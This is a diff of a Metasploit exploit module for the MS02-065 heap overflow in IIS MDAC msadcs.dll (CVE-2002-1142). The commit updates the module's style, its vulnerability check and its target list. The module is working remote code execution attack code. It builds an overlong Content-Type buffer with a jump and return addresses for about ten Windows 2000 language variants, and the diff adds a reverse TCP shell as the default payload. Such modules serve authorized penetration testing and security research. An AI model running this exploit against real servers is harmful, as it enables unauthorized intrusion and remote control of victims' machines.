@@ -8,89 +8,92 @@ class MetasploitModule < Msf::Exploit::Remote
88
99 include Msf ::Exploit ::Remote ::HttpClient
1010
11- def initialize
11+ def initialize ( info = { } )
1212 super (
13- 'Name' => 'MS02-065 Microsoft IIS MDAC msadcs.dll RDS DataStub Content-Type Overflow' ,
14- 'Description' => %q{
13+ update_info (
14+ info ,
15+ 'Name' => 'MS02-065 Microsoft IIS MDAC msadcs.dll RDS DataStub Content-Type Overflow' ,
16+ 'Description' => %q{
1517 This module can be used to execute arbitrary code on IIS servers
1618 that expose the /msadc/msadcs.dll Microsoft Data Access Components
1719 (MDAC) Remote Data Service (RDS) DataFactory service. The service is
1820 exploitable even when RDS is configured to deny remote connections
1921 (handsafe.reg). The service is vulnerable to a heap overflow where
2022 the RDS DataStub 'Content-Type' string is overly long. Microsoft Data
2123 Access Components (MDAC) 2.1 through 2.6 are known to be vulnerable.
22- } ,
23- 'Author' => 'aushack' ,
24- 'Platform' => 'win' ,
25- 'References' =>
26- [
24+ } ,
25+ 'Author' => 'aushack' ,
26+ 'Platform' => 'win' ,
27+ 'Arch' => [ ARCH_X86 ] ,
28+ 'References' => [
2729 [ 'OSVDB' , '14502' ] ,
2830 [ 'BID' , '6214' ] ,
2931 [ 'CVE' , '2002-1142' ] ,
3032 [ 'MSB' , 'MS02-065' ] ,
3133 [ 'URL' , 'http://archives.neohapsis.com/archives/vulnwatch/2002-q4/0082.html' ]
3234 ] ,
33- 'Privileged' => false ,
34- 'Payload' =>
35- {
36- 'Space' => 1024 ,
37- 'BadChars' => "\x00 \x09 \x0a \x0b \x0d \x20 :?<>=$\\ /\" ';=+%#&" ,
38- 'StackAdjustment' => -3500 ,
35+ 'Privileged' => false ,
36+ 'Payload' => {
37+ 'Space' => 1024 ,
38+ 'BadChars' => "\x00 \x09 \x0a \x0b \x0d \x20 \x22 \x27 :?<>=$\\ /;=+%#&" , # "\u0000\t\n\v\r \"':?<>=$\\/;=+%#&"
39+ 'StackAdjustment' => -3500
3940 } ,
40- 'DefaultOptions' =>
41- {
42- 'EXITFUNC' => 'seh' , # stops IIS from crashing... hopefully
41+ 'DefaultOptions' => {
42+ 'PAYLOAD' => 'windows/shell/reverse_tcp' ,
43+ 'EXITFUNC' => 'seh' # stops IIS from crashing... hopefully
4344 } ,
44- 'Targets' =>
45- [
46- # aushack tested OK 20120607 w2kpro en sp0 msadcs.dll v2.50.4403.0
47- [ 'Windows 2000 Pro English SP0' , { 'Ret' => 0x75023783 } ] , # jmp eax ws2help.dll
45+ 'Targets' => [
46+ # jmp eax ws2help.dll
47+ [ 'Windows 2000 Pro SP0-SP3 (English)' , { 'Ret' => 0x75023783 } ] ,
48+ [ 'Windows 2000 Pro SP0 (Korean)' , { 'Ret' => 0x74f93783 } ] ,
49+ [ 'Windows 2000 Pro SP0 (Dutch)' , { 'Ret' => 0x74fd3783 } ] ,
50+ [ 'Windows 2000 Pro SP0 (Finnish)' , { 'Ret' => 0x74ff3783 } ] ,
51+ [ 'Windows 2000 Pro SP0 (Turkish)' , { 'Ret' => 0x74fc3783 } ] ,
52+ [ 'Windows 2000 Pro SP0-SP1 (Greek)' , { 'Ret' => 0x74f73783 } ] ,
53+ [ 'Windows 2000 Pro SP1 (Arabic)' , { 'Ret' => 0x74f93783 } ] ,
54+ [ 'Windows 2000 Pro SP1 (Czech)' , { 'Ret' => 0x74fc3783 } ] ,
55+ [ 'Windows 2000 Pro SP2 (French)' , { 'Ret' => 0x74fa3783 } ] ,
56+ [ 'Windows 2000 Pro SP2 (Portuguese)' , { 'Ret' => 0x74fd3783 } ] ,
4857 ] ,
49- 'DefaultTarget' => 0 ,
50- 'DisclosureDate' => 'Nov 20 2002'
58+ 'DefaultTarget' => 0 ,
59+ 'DisclosureDate' => '2002-11-02' ,
60+ 'Notes' => {
61+ 'Reliability' => [ REPEATABLE_SESSION ] ,
62+ 'Stability' => [ CRASH_SERVICE_DOWN ] ,
63+ 'SideEffects' => [ IOC_IN_LOGS ]
64+ }
65+ )
5166 )
5267
53- register_options (
54- [
55- OptString . new ( 'PATH' , [ true , "The path to msadcs.dll" , '/msadc/msadcs.dll' ] ) ,
56- ] )
68+ register_options ( [
69+ OptString . new ( 'TARGETURI' , [ true , 'The path to msadcs.dll' , '/msadc/msadcs.dll' ] , aliases : [ 'PATH' ] ) ,
70+ ] )
5771 end
5872
5973 def check
60- res = send_request_raw ( {
61- 'uri' => normalize_uri ( datastore [ 'PATH' ] ) ,
62- 'method' => 'GET' ,
63- } )
64- if ( res and res . code == 200 )
65- print_status ( "Server responded with HTTP #{ res . code } OK" )
66- if ( res . body =~ /Content-Type: application\/ x-varg/ )
67- print_good ( "#{ datastore [ 'PATH' ] } matches fingerprint application\/ x-varg" )
68- Exploit ::CheckCode ::Detected
69- end
70- else
71- Exploit ::CheckCode ::Safe
74+ res = send_request_cgi ( 'uri' => normalize_uri ( target_uri . path ) )
75+
76+ return CheckCode ::Unknown ( 'Connection failed' ) unless res
77+ return CheckCode ::Unknown ( 'HTTP server error' ) if res . code == 500
78+ return CheckCode ::Safe ( 'Access Forbidden' ) if res . code == 403
79+
80+ if res . code == 200 && res . body . to_s . include? ( 'Content-Type: application/x-varg' )
81+ return CheckCode ::Detected ( "#{ target_uri . path } content type matches fingerprint application/x-varg" )
7282 end
83+
84+ CheckCode ::Safe
7385 end
7486
7587 def exploit
7688 sploit = rand_text_alphanumeric ( 136 )
77- sploit [ 24 , 2 ] = Rex ::Arch ::X86 . jmp_short ( 117 )
89+ sploit [ 24 , 2 ] = Rex ::Arch ::X86 . jmp_short ( 117 )
7890 sploit << [ target [ 'Ret' ] ] . pack ( 'V' )
7991 sploit << payload . encoded
8092
81- data = 'Content-Type: ' + sploit
82-
83- res = send_request_raw ( {
84- 'uri' => normalize_uri ( datastore [ 'PATH' ] , '/AdvancedDataFactory.Query' ) ,
85- 'headers' =>
86- {
87- 'Content-Length' => data . length ,
88- } ,
89-
90- 'method' => 'POST' ,
91- 'data' => data ,
93+ send_request_cgi ( {
94+ 'uri' => normalize_uri ( target_uri . path , '/AdvancedDataFactory.Query' ) ,
95+ 'method' => 'POST' ,
96+ 'data' => "Content-Type: #{ sploit } "
9297 } )
93-
94- handler
9598 end
9699end
0 commit comments